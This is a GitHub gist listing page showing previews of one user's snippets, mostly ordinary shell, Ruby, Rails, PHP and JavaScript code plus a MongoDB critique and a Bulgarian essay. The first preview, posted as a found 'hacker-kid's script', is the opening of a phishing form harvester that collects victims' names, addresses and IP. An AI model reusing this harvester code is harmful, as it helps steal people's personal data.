Skip to content

Instantly share code, notes, and snippets.

@mitio
mitio / Bl0W.php
Created August 25, 2011 18:04
Some stupid hacker-kid's script.
<?
$ip = getenv("REMOTE_ADDR");
$message .= "Secret Shopper Creat3d By Bl0W\n";
$message .= ".:: PERSONAL INFORMATION ::.\n";
$message .= "First name : ".$_POST['strFirstname']."\n";
$message .= "Last name : ".$_POST['strLastname']."\n";
$message .= "Street Address : ".$_POST['strAddy']."\n";
$message .= "City : ".$_POST['strCity']."\n";
$message .= "State : ".$_POST['strState']."\n";
$message .= "Zip Code : ".$_POST['strZipCode']."\n";
@mitio
mitio / .bashrc
Created August 31, 2011 17:57
The minimal .bashrc file I need to feel comfortable in a shell.
export CLICOLOR=1
export LANG="en_US.UTF-8"
alias rm="rm -i"
alias mv="mv -i"
alias cp="cp -i"
alias ls="ls --color=auto"
alias ll="ls -alh"
@mitio
mitio / count_eigenclass_methods.rb
Created September 18, 2011 18:12
Quick and dirty eigenclass-defined class methods in Ruby
code = File.read(ARGV.first)
eigenclass = false
methods = 0
identation = ''
code.split("\n").each do |line|
case line
when /^(\s*)class\s+<<\s+self\b/
eigenclass = true
@mitio
mitio / routes.rb
Created September 19, 2011 18:20
Permanent redirects in routes.rb, while preserving query-string args
# take care of old, legacy routes
redirect_with_query_string = lambda do |path|
redirect do |params, req|
path << "?#{req.query_string}" unless req.query_string.blank?
path
end
end
# example usage
match 'legacy_root_path' => redirect_with_query_string.call('/')
@mitio
mitio / backup_via_git.sh
Created September 26, 2011 22:42
Simple backup and versioning script for novice Windows users. Uses Git for Windows.
# The only required setting is DATA_ROOT. It must be a valid
# Git repository (git init'ed). You need to configure a name
# and an email to be used as commit author info. You also need
# to configure a remote named "origin" for this repository.
# A branch "master" is assumed to exist. For repositories with
# large binary files, you may want to change the following Git
# settings (probably only locally, for the current repo):
#
# core.autocrlf=false
# core.compression=0
@mitio
mitio / checksum.html
Created October 5, 2011 11:00
Binary calculations in JavaScript (checksum byte computation)
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<script>
function E(id) {
return document.getElementById(id);
}
window.onload = function () {
@mitio
mitio / gist:1343383
Created November 6, 2011 19:54
Don't Use MongoDB

Don't use MongoDB

I've kept quiet for awhile for various political reasons, but I now feel a kind of social responsibility to deter people from banking their business on MongoDB.

Our team did serious load on MongoDB on a large (10s of millions of users, high profile company) userbase, expecting, from early good experiences, that the long-term scalability benefits touted by 10gen

@mitio
mitio / gist:1561699
Created January 4, 2012 19:48
ArgumentError: wrong number of arguments (3 for 2) for sass-rails 3.2.3 and Rails 3.2.rc1
actionpack (3.2.0.rc1) lib/sprockets/helpers/rails_helper.rb:118:in `compute_source_path'
sass-rails (3.2.3) lib/sass/rails/template_handlers.rb:23:in `source_path'
sass-rails (3.2.3) lib/sass/rails/template_handlers.rb:84:in `sass_options'
sass-rails (3.2.3) lib/sass/rails/template_handlers.rb:106:in `evaluate'
tilt (1.3.3) lib/tilt/template.rb:76:in `render'
sprockets (2.1.2) lib/sprockets/context.rb:177:in `block in evaluate'
sprockets (2.1.2) lib/sprockets/context.rb:174:in `each'
sprockets (2.1.2) lib/sprockets/context.rb:174:in `evaluate'
sprockets (2.1.2) lib/sprockets/processed_asset.rb:12:in `initialize'
sprockets (2.1.2) lib/sprockets/base.rb:241:in `new'
@mitio
mitio / crud_event_logger.php
Created January 5, 2012 12:19
Simple CrudEventLogger
<?
// in lib/classes/crudeventlogger.php
class CrudEventLogger {
protected $event = null;
protected $table_name = null;
protected $record_id = null;
protected $user_id = null;
protected $before = array();
protected $after = array();
@mitio
mitio / hardcore.md
Created January 23, 2012 17:20
Hardcore

Хард-кор програмист?

Моето скромно мнение е следното — "хард-кор" е състояние на чувствата, а не на знанията (макар че второто е в правопропорционална зависимост с първото). Бегъл опит за дефиниця:

  • Ако не можете да си представите живота като непрограмист, вероятно сте хард-кор.
  • Ако търсите нов език за програмиране/framework, защото тези, които ползвате в момента не ви пасват, вероятно сте хардкор.
  • Ако сте открили бъг и не можете да спите, докато не разберете причината за него, вероятно сте хард-кор.
  • Ако чувствате, че знанията ви в областта са нищожно количество и изгаряте от желание да трупате все повече и повече такива, вероятно сте хард-кор.
  • Ако усещате, че количеството интересни и нови неща в сферата ви се увеличава по-бързо, отколкото можете да ги консумирате, вероятно сте хард-кор.
  • Ако не ви пука особено, че от прекалено дългото взиране в една точка на около 30 см пред очите ви вече носите очила, вероятно сте хард-кор.